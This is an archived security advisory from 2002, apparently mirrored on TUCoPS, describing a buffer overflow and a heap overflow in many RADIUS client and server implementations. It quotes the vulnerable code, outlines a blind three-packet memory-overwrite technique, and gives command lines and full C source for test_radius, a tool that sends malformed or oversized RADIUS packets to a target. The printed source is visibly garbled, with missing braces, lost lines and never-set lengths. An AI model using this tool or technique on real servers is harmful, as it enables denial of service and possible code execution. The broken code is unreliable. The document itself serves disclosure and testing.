TUCoPS :: General Information :: mult5166.htm

RADIUS client/server remote overflow (buffer/heap)
5th Mar 2002 [SBWID-5166]

	RADIUS client/server remote overflow (buffer/heap)


	Buffer overflow (vuln 1)

	     * Ascend RADIUS versions 1.16 and prior

	     * Cistron RADIUS versions 1.6.4 and prior

	     * FreeRADIUS versions 0.3 and prior

	     * GnuRADIUS versions 0.95 and prior

	     * ICRADIUS versions 0.18.1 and prior

	     * Livingston RADIUS versions 2.1 and earlier

	     * RADIUS (commonly known as Lucent RADIUS) versions 2.1 and prior

	     * RADIUSClient versions 0.3.1 and prior

	     * YARD RADIUS 1.0.19 and prior

	     * XTRADIUS 1.1-pre1 and prior


	Heap overflow (vuln 2)

	     * Cistron RADIUS versions 1.6.5 and prior

	     * FreeRADIUS versions 0.3 and prior

	     * ICRADIUS versions 0.18.1 and prior

	     * Livingston RADIUS versions 2.1 and earlier

	     * YARD RADIUS 1.0.19 and prior

	     * XTRADIUS 1.1-pre1 and prior


	From  CERT  [http://www.cert.org]  advisory  [CA-2002-06],  and   3APA3A
	original        discovery         [http://security.nnov.ru]         (see
	/advisories/radius.asp) :


	Radius vuln #1 [cert id 589523],



	During the message digest calculation, a  string  containing  the  shared
	secret is concatenated with  a  packet  received  without  checking  the
	size of the target buffer. This makes it possible to overflow the  buffer
	with shared secret data. This can lead to a denial  of  service  against
	the server. If the shared secret is known by the attacker, then  it  may
	be possible to use this information to execute arbitrary  code  with  the
	privileges of the victim RADIUS server or client, usually  root.  It  should
	be noted that gaining knowledge of the shared secret is  not  a  trivial

	This  bug  presents  in  all   RADIUS   implementations   derived   from
	Merit/Ascend. Function, where overflow occurs may have different names:

	      response_match(): Merit

	      calc_digest()/calc_acctdigest(): Livingston, Cistron and derived

	      rc_check_reply(): radclient

	      rad_proxy()/calc_acctreq()/build_packet(): yardradius


	Vulnerable piece of code looks like:

	      memcpy(buffer+len, secret, secretlen);





	Radius vuln #2 [cert id 936683],



	RADIUS servers and clients fail  to  validate  the  vendor-length  inside
	vendor-specific attributes. The vendor-length shouldn\'t  be  less  than
	2. If vendor-length is less  than  2,  the  RADIUS  server  (or  client)
	calculates the attribute length as a negative number. The attribute  length
	is then used in various functions. In most RADIUS servers  the  function
	that  performs  this  calculation  is  rad_recv()  or  radrecv().   Some
	applications  may  use  the  same  logic   to   validate   user-specific
	attributes and be vulnerable via the same method.

	If Vendor-Length is 0 data size will be calculated as  negative  number.
	Later memcpy is called with this number to copy data.  In  most  systems
	result  of  this  attack  will  be  DoS  against  RADIUS  (if   memcpy()
	implementation is not completely flawed).

	In most RADIUS servers vulnerable function is rad_recv()  or  radrecv().
	Vulnerable piece of code looks like :


	        ptr += 4;

	        vendorlen = attrlen - 4;

	        attribute = *ptr++ | (vendorcode << 16);

	        attrlen   = *ptr++;

	        attrlen -= 2;

	        length -= 6;



	Some implementation has the  same  bug  in  processing  of  USR-specific
	attributes (and other  non-standard  Vendor-Specific  attributes).  This
	bug can be exploited with any type of RADIUS packet.



	 Exploit :



	 To  exploit  this vulnerabilities against RADIUS server attacker should

	 be  able to send RADIUS packets from IP of registered NAS. Since RADIUS

	 uses  UDP  as transport layer it\'s easy to spoof NAS\' IP address. Since

	 both  bugs  occurs  before  packet  is validated no knowledge of shared

	 secret required.


	 To  exploit  this  vulnerability  against  RADIUS client (NAS) attacker

	 should guess client\'s UDP port. In many cases this port is predictable.


	 Attached  test_radius  tool  may  help  you  to reproduce situation (it

	 doesn\'t  spoof IP, so then testing against RADIUS server IP of the host

	 you  running  this tool should be registered as valid NAS). test_radius

	 may also be obtained from :




	 For  (1)  buffer overflowed by shared secret which (in general case) is

	 not  known  to attacker. Attacker is not able to control this data, but

	 he  is able to control length of the data. It makes it possible to make

	 1-byte  or  2-bytes  buffer overflow. In this case if last symbol(s) of

	 shared  secret  is  in appropriate range it may be possible to use this

	 overflow  for  code execution in few implementation. Sometimes it looks

	 possible  to  exploit  it  blindly,  for  example this is definition of

	 buffer in one of RADIUS implementations:


	            static int       i_recv_buffer[RAD_BUFFER_SIZE];

	            static u_char    *recv_buffer = (u_char *)i_recv_buffer;


	 Receiving function works with recv_buffer.

	 Theoretically it\'s possible to write to any memory location in 3 steps:


	  1.  We  do 1-byte overflow to change last byte of recv_buffer to point

	  to middle of i_recv_buffer (it will happen only if last byte of shared

	  secret is higher then lowest byte of i_recv_buffer address).

	  2.  Now  we  can overwrite recv_buffer with data controlled by us with

	  second packet.

	  3.  Now  data  of  the  third  packet  will  be written to location we



	 Of  cause exploitation is only possible if all 3 packets are handled in

	 the  same  thread (I didn\'t checked the code but probably it\'s true). I

	 bet   probability   of   successful  exploitation  is  not  high,  but

	 may be positive.


	 to reproduce this problem you may use something like


	    test_radius RADIUS_SERVER 1 100 MAX_PACKET_SIZE 10 1646 4


	 where RADIUS_SERVER is ip of your RADIUS host

	 MAX_PACKET is compiled maximum packet size, you can try different:

	 1024, 2048, 4096, 8192, etc

	 (this command will send radius accounting packet of MAX_PACKET_SIZE)


	 (2) can be tested with


	  test_radius RADIUS_SERVER 11 20 311 0


	 (malformed Microsoft MS-CHAP-Challenge packet)




	  test_radius RADIUS_SERVER 1 100 9 0


	 (malformed CISCO Cisco-AVPair packet)


	 test_radius  may  also  be used as a stress-testing tool against memory

	 exhaustion problem described in [2].


	  test_radius RADIUS_SERVER 1 2 MAX_PACKET_SIZE 100000



	-- test_radius.c --


	 * Copyright (c) 2000-2001 3APA3A


	 * $Id: test_radius.c,v 2001/09/28 17:25:05 vlad Exp $




	#include <stdio.h>

	#include <string.h>

	#include <netdb.h>

	#include <sys/socket.h>

	#include <netinet/in.h>

	#include <arpa/inet.h>


	#define AUTH_VECTOR_LEN         16

	#define MAX_STRING_LEN          254

	#define PW_AUTH_UDP_PORT        1645


	#define PW_VENDOR_SPECIFIC      26

	#define VENDORPEC_USR           429


	typedef unsigned int uint32_t;

	typedef unsigned short uint16_t;

	typedef unsigned char uint8_t;



	 *	Return an IP address from

	 *	one supplied in standard dot notation.


	uint32_t ip_addr(const char *ip_str)


		struct in_addr	in;


		if (inet_aton(ip_str, &in) == 0)

			return INADDR_NONE;

		return in.s_addr;





	 *	Return an IP address in from a host

	 *	name or address in dot notation.


	uint32_t ip_getaddr(const char *host)


		struct hostent	*hp;

		uint32_t	 a;


		if ((a = ip_addr(host)) != INADDR_NONE)

			return a;


		if ((hp = gethostbyname(host)) == NULL)

			return (uint32_t) INADDR_NONE;



		 *	Paranoia from a Bind vulnerability.  An attacker

		 *	can manipulate DNS entries to change the length of the

		 *	address.  If the length isn\'t 4, something\'s wrong.


		if (hp->h_length != sizeof(uint32_t)) {

			return (uint32_t) INADDR_NONE;



		memcpy(&a, hp->h_addr, sizeof(uint32_t));

		return a;




	static int getport(const char *name)


		struct	servent		*svp;


		svp = getservbyname (name, \"udp\");

		if (!svp) {

			return 0;



		return ntohs(svp->s_port);





	typedef struct radius_packet_t {

	  uint8_t       code;

	  uint8_t       id;

	  uint16_t      length;

	  uint8_t       vector[AUTH_VECTOR_LEN];

	  uint8_t       data[4076];

	} radius_packet_t;




	char buf[256];



	int radius_send(char* radius, int ntimes, int attr, int size, int attlen, int port, int type)


		int res=0;

		int sockfd;

		int total_length;

		unsigned dst_ipaddr;

		struct  sockaddr_in     saremote;

		struct  sockaddr_in     *sa;	

		radius_packet_t packet;

		int 			i;

		int 			len;


		memset(&packet, 0, sizeof(packet));


		if (!type) type = PW_AUTHENTICATION_REQUEST;

		if (!port) port = getport(\"radius\");

		if (port == 0) port = PW_AUTH_UDP_PORT;

		if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {

			return 1;


		packet.code = type;



		total_length = 0;



		memset(packet.vector, 0, AUTH_VECTOR_LEN);


		dst_ipaddr = ip_getaddr(radius);


		sa = (struct sockaddr_in *) &saremote;

		memset ((char *) sa, \'\\0\', sizeof (saremote));

		sa->sin_family = AF_INET;

		sa->sin_addr.s_addr = dst_ipaddr;

		sa->sin_port = htons(port);


		if(ntimes) {

			for (len=0, size-=total_length, i=0; size > 0; size-=len, i+=len){

			 len = (size > attlen)? attlen:size;

			 if(len < 2) break;



			 if(len > 2) memset(packet.data + i + 2, \'A\', len - 2);



		else {


			packet.data[i++] = PW_VENDOR_SPECIFIC;

			packet.data[i++] = attlen;

			*((long*)(packet.data + i)) = htonl(size);


			if (size == VENDORPEC_USR){

			 *((short *)(packet.data + i)) = htons(attr);


			 packet.data[i++] = 1;


			else {

			 packet.data[i++] = attr;

			 packet.data[i++] = 1;

			 packet.data[i++] = \'A\';


			if(attlen > 9){

				memset(packet.data+i, \'A\', attlen-9);



			ntimes = 1;




		packet.length = htons(total_length);


		for (i=0; i<ntimes; i++){

			res = sendto(sockfd, &packet, total_length, 0,

			      (struct sockaddr *)&saremote, sizeof(struct sockaddr_in));

			if(res != total_length){

				fprintf(stderr, \"sendto() failed\\n\");

				return 2;




		return 0;





	int main(int argc, char*argv[]){


	  int attr;

	  int ntries;

	  int attlen;

	  int packlen;

	  int port=0;

	  int type=0;


	  if (argc <6 || (attr = atoi(argv[2])) < 1 || 

	  	(attlen = atoi(argv[3])) < 2 || (packlen = atoi(argv[4])) < 20 ||

	  	(ntries = atoi(argv[5])) < 0) {

	  		printf (\"Usage : %s server attribute attribute_length packet_length count [port] [type]\\n\"

	 			\"	server - ip address of target server (you must be listed as NAS\\n\"

	 			\"                for this server because this code doesn\'t spoof IP)\\n\"

	 			\"	attribute - attribute type code, > 0\\n\"

	 			\"	attribute_length - length of attribute, must be between 1 and 255\\n\"

	 			\"	packet_length - length of packet, >20\\n\"

	 			\"	count - number of packets to send. If count = 0 single malformed\\n\"

	 			\"		Vendor-Specific is sent with Vendor-Code of packet_length\\n\"

	 			\"		and  Vendor-Type of attribute\\n\"

	 			\"	port - target UDP port\\n\"

	 			\"	type - type of RADIUS request. Authentication Request by default\\n\", 


	  		return 1;


	  if (argc >= 7) port = atoi(argv[6]);

	  if (argc >= 8) type = atoi(argv[7]);

	  return radius_send( argv[1], ntries, attr, packlen, attlen, port, type);




	For a complete list of the various vendors patch see :



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH